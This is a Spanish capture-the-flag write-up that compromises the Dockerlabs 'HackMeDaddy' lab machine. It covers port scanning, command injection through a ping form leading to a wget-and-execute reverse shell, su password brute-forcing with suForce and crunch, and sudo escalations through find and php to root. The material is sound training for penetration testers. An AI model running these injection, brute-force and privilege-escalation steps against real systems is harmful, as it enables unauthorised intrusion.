HackMeDaddy es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-16 23:35 CEST Initiating ARP Ping Scan at 23:35 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 23:35, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 23:35 Scanning 172.17.0.2 [65535 ports] Discovered open port 22/tcp on 172.17.0.2 Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 23:35, 1.05s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000060s latency). Scanned at 2024-08-16 23:35:27 CEST for 2s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~] └─$ nmap -p22,80 -sCV 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-16 23:35 CEST Nmap scan report for paginadelgobiernoreal.gob (172.17.0.2) Host is up (0.00011s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 05:48:9d:f6:29:e1:dd:c4:f6:18:87:ff:13:15:5a:80 (ECDSA) |_ 256 0a:3d:0d:c3:fe:4e:57:8a:de:1f:5f:3c:8e:92:e9:5b (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: HackMeDaddy - Hacking \xC3\x89tico | http-robots.txt: 3 disallowed entries |_/FLAG.txt /joomla/* /secret/ |_http-server-header: Apache/2.4.58 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds |
Entramos por el puerto 80 y vemos lo siguiente
Dinámicamente van «ejecutándose» comandos, esto lo podemos ver con una vista completa en el código de la pagina.
Podemos pensar que los nombres del README.txt pueden ser carpetas que esta en el servidor web así que los pasamos a un fichero y usamos feroxbuster
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.2/ -w folders.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.2/ 🚀 Threads │ 50 📖 Wordlist │ folders.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 272c http://172.17.0.2/FLAG.txt 404 GET 9l 31w 272c http://172.17.0.2/secret 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 212l 639w 7036c http://172.17.0.2/ 301 GET 9l 28w 314c http://172.17.0.2/d05notfound => http://172.17.0.2/d05notfound/ 200 GET 208l 570w 6818c http://172.17.0.2/d05notfound/d05notfound.php [####################] - 1s 17/17 0s found:4 errors:1 [####################] - 0s 13/13 394/s http://172.17.0.2/ [####################] - 0s 13/13 1444/s http://172.17.0.2/d05notfound/ => Directory listing |
Encontramos el fichero d05notfound.php en la carpeta d05notfound, accedemos y la única parte que nos va a interesar y es dinámica es la siguiente
Si ponemos nuestra ip , vemos que realmente por detrás, se esta ejecutando el comando ping, dado que nos llegan tramas ICMP
Probamos diferentes payloads y el que vemos que ejecuta algo mas que el ping es usando el pipeline. Concatenaremos wget del fichero x.sh, del que se muestra el contenido, con su posterior ejecución para entablarnos una reverse shell.
Lo primero que vamos a ver es que usuarios tiene el sistema, que son 2
|
1 2 3 4 |
www-data@66cd2e4eb64d:/var/www/html/d05notfound$ cat /etc/passwd | grep sh$ root:x:0:0:root:/root:/bin/bash e1i0t:x:1001:1001:e1i0t,,,:/home/e1i0t:/bin/bash an0n1mat0:x:1002:1002:an0n1mat0,,,:/home/an0n1mat0:/bin/bash |
Entramos en el home del usuario 31i0t y vemos que hay una nota con el siguiente contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
www-data@66cd2e4eb64d:/home/e1i0t$ ls -l ls -l total 12 drwxr-xr-x 2 root root 4096 Aug 13 15:07 documents -rw-r--r-- 1 root root 104 Aug 13 15:00 nota.txt -r-------- 1 e1i0t e1i0t 33 Aug 13 15:01 user.txt www-data@66cd2e4eb64d:/home/e1i0t$ cat nota.txt cat nota.txt Reminder: Delete my passwords from the agenda, I don't want to screw up with the boss again. By e1i0t |
Y en la carpeta documentos
|
1 2 3 |
www-data@66cd2e4eb64d:/home/e1i0t/documents$ ls agenda.txt agenda_passwords.txt |
Así que usaremos suForce para comprobar si realmente la contraseña esta en el fichero.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
www-data@66cd2e4eb64d:/tmp$ ./suForce -u e1i0t /home/e1i0t/documents/agenda.txt _____ ___ _ _ | ___|__ _ __ ___ ___ / __| | | || |_ / _ \| '__/ __/ _ \ \__ \ |_| || _| (_) | | | (_| __/ |___/\__,_||_| \___/|_| \___\___| -=================================- [*] Username: e1i0t [*] Wordlist: /home/e1i0t/documents/agenda.txt [i] Status: 42/106/39%/eliotelmejor [+] Password: eliotelmejor Line: 42 |
Entramos con el usuario e1i0t por ssh y vemos que privilegios tenemos con sudo -l
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~] └─$ ssh e1i0t@172.17.0.2 e1i0t@172.17.0.2's password: Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.6.15-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. e1i0t@66cd2e4eb64d:~$ e1i0t@66cd2e4eb64d:~$ sudo -l Matching Defaults entries for e1i0t on 66cd2e4eb64d: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User e1i0t may run the following commands on 66cd2e4eb64d: (an0n1mat0 : an0n1mat0) NOPASSWD: /bin/find |
Viendo gtfobins, escalamos al usuario an0n1mat0
|
1 2 |
e1i0t@66cd2e4eb64d:~$ sudo -u an0n1mat0 /bin/find . -exec /bin/sh \; -quit an0n1mat0@66cd2e4eb64d: |
Entramos en su home y nos encontramos con otra nota
|
1 2 3 |
an0n1mat0@66cd2e4eb64d:~$ cat nota.txt The boss told me that he will soon remove your privileges to be able to access your secret folder. |
Viendo la /, vemos que existe una carpeta llamada secret, la cual contiene el fichero confidencial.txt
|
1 2 3 4 5 6 7 8 9 10 |
an0n1mat0@66cd2e4eb64d:/secret$ ls -ltra total 12 -rw-r--r-- 1 root root 179 Aug 13 15:18 confidencial.txt drwx------ 2 an0n1mat0 an0n1mat0 4096 Aug 13 15:18 . drwxr-xr-x 1 root root 4096 Aug 16 22:39 .. an0n1mat0@66cd2e4eb64d:/secret$ cat confidencial.txt There is a super secret file that no one but the boss should read, because there are some user passwords. You have to move the passwords_users.txt file to a more secure place. |
Buscamos el fichero que nos indican lo leemos
|
1 2 3 4 5 6 7 8 9 |
an0n1mat0@66cd2e4eb64d:~$ find / -name "passwords_users.txt" -type f -exec cat {} \; 2> /dev/null User passwords: e1i0t:eliotelmejor an0n1mat0:XXyanonymous root:root There are some outdated passwords, but I don't remember an0n1mat0's entire password, I know that where the two |
Se prueba con un diccionario en base a números, del 00 al 99 pero no tenemos suerte, asi que probamos a que sean letras, creando el diccionario con crunch
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(kali㉿kali)-[~] └─$ crunch 12 12 abcdefghijklmnopqrstuvwxyz -o numbers -t @@yanonymous Crunch will now generate the following amount of data: 8788 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 676 crunch: 100% completed generating output ┌──(kali㉿kali)-[~] └─$ head numbers aayanonymous abyanonymous acyanonymous adyanonymous aeyanonymous afyanonymous agyanonymous ahyanonymous aiyanonymous ajyanonymous |
Nos pasamos este diccionario a la maquina victima y usamos suForce
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
an0n1mat0@66cd2e4eb64d:/secret$ /tmp/suForce -u an0n1mat0 -w numbers _____ ___ _ _ | ___|__ _ __ ___ ___ / __| | | || |_ / _ \| '__/ __/ _ \ \__ \ |_| || _| (_) | | | (_| __/ |___/\__,_||_| \___/|_| \___\___| -=================================- [*] Username: an0n1mat0 [*] Wordlist: numbers [i] Status: 483/676/71%/soyanonymous [+] Password: soyanonymous Line: 483 -=================================- |
Teniendo la contraseña, podremos ver si tenemos algún privilegio con sudo -l
|
1 2 3 4 5 6 7 8 |
an0n1mat0@66cd2e4eb64d:/secret$ sudo -l [sudo] password for an0n1mat0: Matching Defaults entries for an0n1mat0 on 66cd2e4eb64d: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User an0n1mat0 may run the following commands on 66cd2e4eb64d: (ALL : ALL) /bin/php |
Finalmente con gtfobins de nuevo , escalamos a root
|
1 2 |
an0n1mat0@66cd2e4eb64d:/secret$ sudo /bin/php -r "system('bash');" root@66cd2e4eb64d:/secret# |
